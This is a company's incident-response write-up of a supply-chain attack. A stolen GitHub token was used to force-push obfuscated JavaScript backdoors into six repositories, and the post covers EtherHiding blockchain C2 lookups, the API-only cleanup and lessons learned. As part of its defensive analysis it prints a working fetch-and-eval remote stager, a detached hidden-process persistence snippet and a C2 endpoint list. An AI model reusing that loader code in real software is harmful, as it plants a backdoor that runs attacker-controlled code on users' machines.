The signal was almost too boring to notice
It looked like Dependabot doing its job. A wall of routine-looking pull requests — “Bump the npm_and_yarn group across 2 directories with 15 updates” — landing across two repositories within the same hour, each one re-opened, closed, and re-opened again under a new number.
That churn was the tell. Dependabot doesn't usually replace its own open PRs like that. Someone, or something, was force‑pushing over branches Dependabot already owned — and doing it fast enough that GitHub's own bot couldn't keep up.
Given the shape of it — a live credential compromise, potentially still in progress — the investigation ran under one hard constraint from the start: no repo gets cloned or pulled until we know what's in it. Every finding in this post came from the GitHub REST API only — commit metadata, diffs, blob content fetched by SHA — never a working copy on disk.
The chain: an employee, a business partner, then us
The account behind the force‑pushes belonged to a real, longstanding collaborator — a business partner Mojo Layers works with professionally, with legitimate push access dating back almost two years. His access wasn't the vulnerability. His credentials were: one of his own employees was compromised first, in what current evidence points to as a malicious or typosquatted package pulled into a build. From there the attacker pivoted to our collaborator's own machine and lifted his GitHub token.
What happened next has the signature of a worm, not a person at a keyboard: 47 force‑pushes across every branch of every repository that stolen token could reach, all inside a two‑minute window. No repo was hand‑picked. It hit repos he'd actively worked on recently, and it hit repos where he'd had standing access for over a year and never once pushed — access nobody was watching, because nobody was using it.
The trick lives in git's blind spot
Open any of the six malicious commits in a normal review and almost nothing looks wrong. Most of the diff is cosmetic — a line‑ending normalization here, a real one‑character version bump there. In every repo, exactly one file carries the actual payload.
That file's diff always shows 1 line changed. What's really there is an obfuscated JavaScript backdoor appended straight onto the end of the file's last line, with no leading newline. Git diffs a file line by line; if the payload never starts a new line, it never becomes a new line in the diff. It just makes the one line that's already there enormous — and GitHub's UI, like most diff viewers, quietly truncates or horizontally scrolls a long line rather than shouting about it.
In the example above — a real, previously‑legitimate 824‑byte VS Code theme loader — the visible diff is one line. The invisible part is 33,256 characters of javascript‑obfuscator output, glued on after the file's final };.
How it finds home: the blockchain as a dead‑drop
The obfuscated half of that line, run through hours of static analysis — reading the bytes as text, never executing them — turns out to implement a technique researchers call “EtherHiding”: using a public blockchain as a censorship‑resistant address book for command‑and‑control infrastructure.
Instead of hardcoding a server address the way older malware does — something a takedown notice or a DNS block can kill in an afternoon — the payload asks a handful of public Ethereum RPC providers for the latest block, rounds it down to the nearest multiple of a thousand, and checks a small, predictable set of blocks near that boundary for a transaction sent from one specific, hardcoded wallet. Both the malware and the attacker agree on which blocks to check without any other coordination — the attacker just has to publish one transaction, in the right window, whenever they want to move infrastructure.
The recipient address of that transaction — an ordinary‑looking 20‑byte Ethereum address — isn't a wallet at all. Two separate 4‑byte windows of it decode directly into two IPv4 addresses. That's where the real second‑stage payload gets fetched from, over what looks like HTTPS — port 443 — but is actually plain HTTP, likely because outbound firewalls that only check the destination port wave it straight through.
// the moment persistence actually happens: eval(preamble + fetchedCode); // run once, in-process spawn('node', ['-e', preamble + fetchedCode], { detached: true, stdio: 'ignore', windowsHide: true, }).unref(); // and again, hidden, outliving whatever triggered it
Two techniques, same actor, same afternoon
The attacker didn't rely on just one trick. A second, cruder‑looking method turned up on a developer branch of a partner org's repo — and it's arguably the more dangerous of the two.
Obfuscated append
A full backdoor — RPC client, blockchain lookup, eval, persistence — glued onto one existing file with no line break. Self‑contained: everything it needs ships in the commit.
- Upside for defenders: once you know the file, you can read the whole payload.
- Downside: heavily obfuscated, and hides in plain sight inside a “1 line changed” diff.
Remote stager
A fake environment variable — base64 for a URL, dressed up as an API key — plus four lines that decode it, fetch it, and eval() whatever comes back.
- Upside for defenders: the four lines are small enough to actually notice, if you're looking.
- Downside: there's no payload in the repo at all. Auditing the code that shipped tells you nothing about the code that actually ran — the attacker can change it forever, without touching this repository again.
Live at attack time — not planted and left dormant
A question worth asking about any backdoor: has this been sitting here for months? Git's own metadata answers it, cleanly.
Every single malicious commit shares the exact same parent commit and the exact same author timestamp as the legitimate commit it replaced. That's not a coincidence — it's the fingerprint of git commit --amend, run against whatever was already checked out, on every repo the stolen token could reach. The commit message, author, and date all survive the amend untouched; only the tree changes, by exactly one file.
| Repository | Parent commit (shared) | Author date (shared) | Partner's prior activity here |
|---|---|---|---|
| Repo A | 7f2b8d0… | 2025‑06‑24 | never, before this |
| Repo B | fcf8072… | 2025‑12‑23 | never, before this |
| Repo C | 4fc2e8a… | 2025‑01‑21 | 4 pushes, ~19 months earlier |
| Repo D | fc3e16f… | 2025‑03‑12 | never, before this |
| Repo E | 353999c… | 2025‑02‑22 | never, before this |
| Repo F | 8fd923b… | 2025‑01‑12 | branch + pushes, ~19 months earlier |
Read as a story, not a table: this is a generic, automated script that doesn't know or care what any of these repositories are — it just amends whatever's at the tip and moves to the next one. Half the repos it hit, our collaborator had never personally touched. That's unused access, the kind nobody thinks to revoke because nobody remembers granting it — and it turned out to be exactly as dangerous as access someone uses every day.
The cleanup — API only, zero clones
Every step below happened over the GitHub REST API. Nothing was ever pulled to a working copy, given the live‑compromise concern going in.
AEST
Attack window. 47 force‑pushes land across 6 repos, 2 GitHub accounts, in under two minutes.
AEST
Dependabot's PR churn becomes visible — the signal that starts the investigation.
after
Root cause confirmed: the collaborator still held live push access on every affected repo.
AEST
Access revoked on all 7 repos where it existed — including one never touched by the attack, as a precaution.
AEST
28 refs reverted to their exact pre‑attack commit SHA, taken straight from GitHub's own activity log — the last one (a repo found via a broader sweep) closing out at 11:09.
morning
Every file, hand‑verified. Not just the diffs — every JS/TS/JSON/env file in all six repos' current trees, fetched and grepped directly, in case anything rode in on a normal commit instead of a force‑push.
morning
Force‑push protection enabled everywhere GitHub's plan tier allows it, and a 90‑day, account‑wide sweep confirmed nothing else was touched.
Where things stand now
Containment isn't the same as closed, so here's the rest of it, plainly:
All repos affected by this incident, across both orgs, now have force‑push protection enabled. The gap that let this happen in the first place is closed.
Credential rotation, complete. Anything the compromised token could have read — JWT and database secrets, third‑party API keys — has been rotated. Treated as burned the moment we found this, not left on a “probably fine” assumption.
Our collaborator's own machine, also resolved. His laptop was a separate incident from ours — it's what got compromised in the first place. We shared what we'd found, including the IOCs and the scripts, and he used it to revoke his own exposed credentials, reset his repos, and shut down the persistent processes running on his end.
Our own machines, checked. We looked for the exact persistence pattern the payload uses — a detached, hidden background process — on our own laptops. Clean, along with every other indicator we could think to check.
What we're taking from this
Unused access is still access
Four of the six repos hit had never once been touched by the compromised account before the attack. Nobody was watching a permission nobody used — until someone stole the key that opened it.
“1 line changed” is not the same as “1 line's worth of risk”
A payload with no leading newline defeats line‑based diffing entirely. If your review process trusts the diff stat more than the raw file, this is exactly the gap it walks through.
A stager beats a payload
Auditing four lines that fetch and eval() a URL tells you nothing about what actually ran. The code you can review and the code that executes are, by design, two different things.
Force‑push protection should default on
Every repo here that got hit was one where a force‑push to main was simply allowed. It's a five‑second setting, gated behind a paywall for private repos on the tier most solo developers and small teams are actually on.
git's metadata doesn't lie, even when the attacker wants it to
A matching parent commit and author date across six unrelated repos was the single fact that turned “we think this just happened” into “we can prove exactly when, and how.”
We put the malware through a code review
Set aside what it does for a second. How well is it built? We ran both techniques through the same lens we'd use on a real pull request — architecture, error handling, resilience, the tells that give it away on a close read. No punches pulled either direction. Both excerpts below are from the same static, never‑executed analysis as everything else in this post.
Technique A — the EtherHiding backdoor
// five independent public RPC providers, raced in parallel const RPC_ENDPOINTS = [ process.env.ETH_RPC_URL, "https://ethereum-rpc.publicnode.com", "https://eth.drpc.org", "https://eth-mainnet.g.alchemy.com/v2/demo", "https://1rpc.io/eth", ].filter(Boolean); // ...anchor‑block scan, then a wider historical scan, then a // block‑explorer REST fallback — three independent paths for // one lookup. every one of them ends the same way: } catch (_unused) { // swallowed. no log, no retry differentiation, no signal // to the operator that anything went wrong at all. }
Genuinely redundant C2 resolution. Five RPC providers raced in parallel, then a wider historical scan, then a block‑explorer API as a last resort. Three independent failure paths for a single lookup — more resilience than most production backends we've reviewed have for looking up their own config.
Connection pooling, not a fresh socket per request. A keep‑alive agent with sane maxSockets. Someone who's shipped real network code wrote this part.
Every catch block swallows silently. No logging, no differentiated retry. Good for staying quiet; it also means the payload has no idea when it's failing, which is probably why it fires near‑identical fetches back to back instead of one call that actually retries.
The victim ID is a hardcoded literal (global.i = "A9‑8692‑2"), byte‑identical across every repo we found it in. That's the single easiest correlation signal in the whole payload — it's exactly how you prove two infections came from the same run.
Plain HTTP on port 443 is a clever firewall bypass and a security downgrade in the same line — it also means zero certificate validation on their own C2 channel. They're trusting their infrastructure with less rigor than a default curl call.
Technique B — the remote stager
(async () => { const src = atob(process.env.AUTH_API_KEY); const proxy = (await import('node-fetch')).default; try { const response = await proxy(src); if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`); const proxyInfo = await response.text(); eval(proxyInfo); } catch (err) { console.error('Auth Error!', err); } })();
Six lines, one dependency, one eval. The minimalism is a real design choice — smaller surface, and it reads like the remote‑config/feature‑flag code plenty of legitimate apps actually ship, which is exactly what makes it easy to miss on a skim.
Dynamic import() instead of a top‑of‑file require. Quietly dodges any static scanner that only greps import statements at the top of a file.
Single point of failure. One URL, one fetch, no fallback of any kind. Technique A would survive its C2 getting taken down; this one wouldn't — one abuse report to the hosting provider kills it outright.
The .env file got committed to git. The entire point of a .env file is to never be committed. Shipping one, with an obviously‑fake AUTH_API_KEY, is precisely the high‑entropy‑secret‑just‑appeared‑in‑a‑diff pattern that GitHub push protection and tools like gitleaks exist to catch.
console.error('Auth Error!', err) on failure leaves a distinctive, greppable string sitting in application logs. If the C2 goes down for even a minute, this technique volunteers its own IOC to anyone watching.
The gap between the two is the actual finding. The same operation built one component with real engineering discipline behind a genuinely hard‑to‑kill design, and bolted it to another with a secret checked into git and an error message that names itself. If you're building detection around “sophisticated attacker,” don't assume the sophistication is consistent across everything they touch — that mismatch is often the most reliable signal you'll get.